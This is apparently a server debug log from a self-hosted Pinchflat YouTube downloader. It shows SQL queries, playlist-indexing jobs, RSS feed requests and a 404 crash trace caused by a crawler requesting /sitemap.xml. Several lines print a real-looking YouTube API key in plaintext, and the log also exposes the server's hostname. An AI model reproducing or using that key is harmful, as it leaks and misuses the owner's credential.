QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:57.890 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 17:17:57.890 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:57.890 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:58.287 [debug] QUERY OK source="media_items" db=0.6ms idle=396.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "RFdUqYYAok4", "d4OvQ3ab3LU", "2zW3Yfqguqo", "TliajZWaa6w", "KxPnKhHwTss", "CNXmT6_AgYI", "9MeAJILthTI", "Sa3rM0oMmII", "XI57UTwhiHk", "ViBIKuIjePA", "wk-5m6cDEFg", "0Tot2YHwYNw", "vXMKnG6EI-o", "qj89Pt8CG8Y", "0IEv_NJo28w", "jmg3WF44TX4", "dFAjDGLGGdo", "1YcOlzRT5fI", "kZRvqOLkYT8", "1Z7bFTHQVLE", "6bKxtOkucuE", "8W8aD92ICuA", "i302110skWk", "13rEmidnw4A", "-X2v_sQA-j0", "L0rHhCEKvgo", "nYD-kE0bAY4", "XUlR2DVedTg", "l2X92jlagKg", "1igbvUoJcP8", "7514uMl2EX0", "I3mHsRo707I", "fUxEAMiqGYY", "mD4HUXQMG2U", "f3q2mXFrACc", "g8YEYPROiwk", "slWVHwC-XHc", "iBfyeFSpPXU", "9kBUy4NgMAI", "cljD9rspFsA", "IM1njZ0AuP8", "gW-kYYBK5t4", "tobDwFmXHwQ", "8U8zEXmqpRI", "_E049Xhgah4", "Iwzmx_EyHJI", "TRMxPhMhq70", "FHvAe63pYvM", "IKVwG8AizeA", ...] 17:17:58.290 [debug] QUERY OK source="media_items" db=2.7ms idle=397.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 17:17:58.291 [debug] QUERY OK source="tasks" db=0.1ms idle=401.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268446, 38, ~U[2026-10-09 22:17:58Z], ~U[2026-10-09 22:17:58Z]] 17:17:58.291 [info] {"args":{"id":38},"id":5268406,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":402159,"event":"job:stop","queue_time":445535,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:59.987 [info] GET /sources/795ca408-4bd9-43e6-9cce-4e8e49187aca/feed.xml 17:17:59.987 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "795ca408-4bd9-43e6-9cce-4e8e49187aca"} Pipelines: [:maybe_basic_auth] 17:17:59.988 [debug] QUERY OK source="sources" db=0.2ms idle=641.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["795ca408-4bd9-43e6-9cce-4e8e49187aca"] 17:17:59.989 [debug] QUERY OK source="media_items" db=1.3ms idle=641.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [36, 2000] 17:17:59.992 [debug] QUERY OK source="source_metadata" db=0.0ms idle=645.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [36] 17:17:59.992 [debug] QUERY OK source="media_metadata" db=0.0ms idle=645.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577909] 17:17:59.992 [info] Sent 200 in 4ms 17:18:00.443 [info] {"source":"oban","duration":158,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:08.171 [info] GET /sitemap.xml 17:18:08.171 [debug] QUERY OK source="settings" db=0.1ms idle=1279.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:18:08.171 [debug] QUERY OK source="settings" db=0.1ms idle=824.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:18:08.171 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:18:08.172 [error] #PID<0.30324.0> running PinchflatWeb.Endpoint (connection #PID<0.30323.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30323.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 38172}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30324.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz8avmduXXN8MsABzUh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30323.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 38172}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30323.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 38172}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30324.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-r (truncated) 17:18:15.804 [info] {"source":"oban","duration":10814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":11} 17:18:45.814 [info] {"source":"oban","duration":10006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":4} 17:19:00.445 [info] {"source":"oban","duration":149,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:15.825 [info] {"source":"oban","duration":9904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:20.261 [info] GET /sources/03326ffe-bc9f-49e9-b871-f1a05c201b77/feed.xml 17:19:20.262 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "03326ffe-bc9f-49e9-b871-f1a05c201b77"} Pipelines: [:maybe_basic_auth] 17:19:20.262 [debug] QUERY OK source="sources" db=0.1ms idle=915.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["03326ffe-bc9f-49e9-b871-f1a05c201b77"] 17:19:20.263 [debug] QUERY OK source="media_items" db=0.8ms idle=915.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [20, 2000] 17:19:20.265 [debug] QUERY OK source="source_metadata" db=0.0ms idle=918.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [20] 17:19:20.265 [debug] QUERY OK source="media_metadata" db=0.0ms idle=918.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577889] 17:19:20.265 [info] Sent 200 in 4ms 17:19:45.837 [info] {"source":"oban","duration":11179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":12} 17:19:58.012 [info] {"args":{"id":14},"id":5268407,"meta":{},"system_time":1791584398012172921,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:19:58.012 [debug] QUERY OK source="sources" db=0.1ms idle=665.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 17:19:58.012 [debug] QUERY OK source="settings" db=0.1ms idle=665.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:19:58.012 [debug] QUERY OK source="media_profiles" db=0.0ms idle=665.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:19:58.013 [debug] QUERY OK source="settings" db=0.5ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:19:58.013 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 17:19:58.013 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:19:58.013 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:19:58.133 [debug] QUERY OK source="media_items" db=0.6ms idle=120.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "uMhdcq2rqUU", "E5p4TgCNd1I", "NS1Qlu1JTOs", "Nx6ThYgEtg8", "yTD_VbxleZU", "AR-F8Ttpld8", "XQNhCU17ipM", "Hj_yRDR9EzE", "9KwLFC6RDGk", "qz9DvI-NY6k", "oCez-4XUoew", "5bsI3M44NWo", "AVd3ds5U2xc", "NQGYqypeUOs", "-SSI6E5QCOw", "j43j9iwU158", "-mKb75P7wT0", "mWFKVqtAkeI", "qUVsX49fNFw", "b1huB4CSzks", "bMPgRlgcJcE", "ssavPVf6JvE", "mrcnQu6Xfas", "W5fK8BmgBow", "3lJ5oT_JviI", "TpVM45JNupQ", "oMUaZsvJQVQ", "xVm6_IIrHc4", "XXrCAC6bUsk", "Y4IJxO518mI", "DsfsZQjOfu0", "1i8a24si74Y", "E2KfkGF77uo", "-iwvu0uozhs", "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", ...] 17:19:58.136 [debug] QUERY OK source="media_items" db=1.6ms idle=121.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 17:19:58.136 [debug] QUERY OK source="tasks" db=0.1ms idle=123.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268447, 14, ~U[2026-10-09 22:19:58Z], ~U[2026-10-09 22:19:58Z]] 17:19:58.136 [info] {"args":{"id":14},"id":5268407,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":124631,"event":"job:stop","queue_time":410002,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:20:00.446 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:04.018 [info] {"args":{"id":37},"id":5268408,"meta":{},"system_time":1791584404018174345,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:20:04.018 [debug] QUERY OK source="sources" db=0.1ms idle=671.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:20:04.018 [debug] QUERY OK source="settings" db=0.1ms idle=671.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:04.018 [debug] QUERY OK source="media_profiles" db=0.1ms idle=671.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:04.019 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:04.019 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 17:20:04.019 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:04.019 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:20:04.140 [debug] QUERY OK source="media_items" db=0.6ms idle=121.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" 